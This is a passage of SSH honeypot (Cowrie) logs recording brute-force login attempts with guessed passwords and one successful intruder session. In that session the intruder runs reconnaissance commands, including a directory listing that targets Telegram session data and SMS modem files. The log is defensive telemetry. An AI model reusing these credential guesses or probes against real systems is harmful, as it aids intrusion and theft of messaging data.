ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:14.172867Z","src_ip":"2.57.122.96","session":"21ea1f59d8fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root123","message":"login attempt [ubuntu/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:14.475589Z","src_ip":"2.57.122.96","session":"21ea1f59d8fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:15.578603Z","src_ip":"2.57.122.96","session":"21ea1f59d8fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.118.57.75","src_port":42778,"dst_ip":"159.203.135.109","dst_port":22,"session":"880fdb7e6612","protocol":"ssh","message":"New connection: 112.118.57.75:42778 (159.203.135.109:22) [session: 880fdb7e6612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:24.964046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:24.967986Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:25.189410Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:26.062954Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:27.285771Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:27.757547Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:27.760809Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:27.763834Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:28.009813Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:28.532811Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:28.534977Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":908,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:28.755485Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:29.218721Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:29.221007Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:29.441359Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:29.957681Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:29.959817Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":1192,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:30.184252Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:30.754793Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:30.757668Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:31.050757Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:31.527083Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:31.530197Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:31.753544Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:32.236453Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:32.239646Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:32.464671Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:32.964320Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:32.966960Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:33.257583Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:33.727968Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:33.730927Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:33.966750Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"52.1","message":"Connection lost after 52.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:47:17.104531Z","src_ip":"112.118.57.75","session":"880fdb7e6612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":18221,"dst_ip":"159.203.135.109","dst_port":22,"session":"02a84ab2c1ce","protocol":"ssh","message":"New connection: 2.57.121.25:18221 (159.203.135.109:22) [session: 02a84ab2c1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:48:43.207822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:48:43.212446Z","src_ip":"2.57.121.25","session":"02a84ab2c1ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:48:43.313142Z","src_ip":"2.57.121.25","session":"02a84ab2c1ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"seabass","message":"login attempt [user/seabass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:48:43.792549Z","src_ip":"2.57.121.25","session":"02a84ab2c1ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"scout1","message":"login attempt [user/scout1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:48:44.897777Z","src_ip":"2.57.121.25","session":"02a84ab2c1ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"scoobie","message":"login attempt [user/scoobie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:48:46.001551Z","src_ip":"2.57.121.25","session":"02a84ab2c1ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"sanity72","message":"login attempt [user/sanity72] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:48:47.106820Z","src_ip":"2.57.121.25","session":"02a84ab2c1ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"samadams","message":"login attempt [user/samadams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:48:48.210792Z","src_ip":"2.57.121.25","session":"02a84ab2c1ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:48:49.322818Z","src_ip":"2.57.121.25","session":"02a84ab2c1ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":41890,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe21c57c1c7b","protocol":"ssh","message":"New connection: 2.57.122.96:41890 (10.17.0.5:22) [session: fe21c57c1c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:49:03.531885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:49:03.537017Z","src_ip":"2.57.122.96","session":"fe21c57c1c7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:49:03.645199Z","src_ip":"2.57.122.96","session":"fe21c57c1c7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"server","message":"login attempt [ubuntu/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:49:03.963049Z","src_ip":"2.57.122.96","session":"fe21c57c1c7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:49:05.072264Z","src_ip":"2.57.122.96","session":"fe21c57c1c7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":35000,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c7d44c87d00","protocol":"ssh","message":"New connection: 2.57.122.96:35000 (159.203.135.109:22) [session: 5c7d44c87d00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:49:20.624072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:49:20.628765Z","src_ip":"2.57.122.96","session":"5c7d44c87d00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:49:20.755729Z","src_ip":"2.57.122.96","session":"5c7d44c87d00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"server","message":"login attempt [ubuntu/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:49:21.068198Z","src_ip":"2.57.122.96","session":"5c7d44c87d00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:49:22.175207Z","src_ip":"2.57.122.96","session":"5c7d44c87d00","protocol":"ssh"}
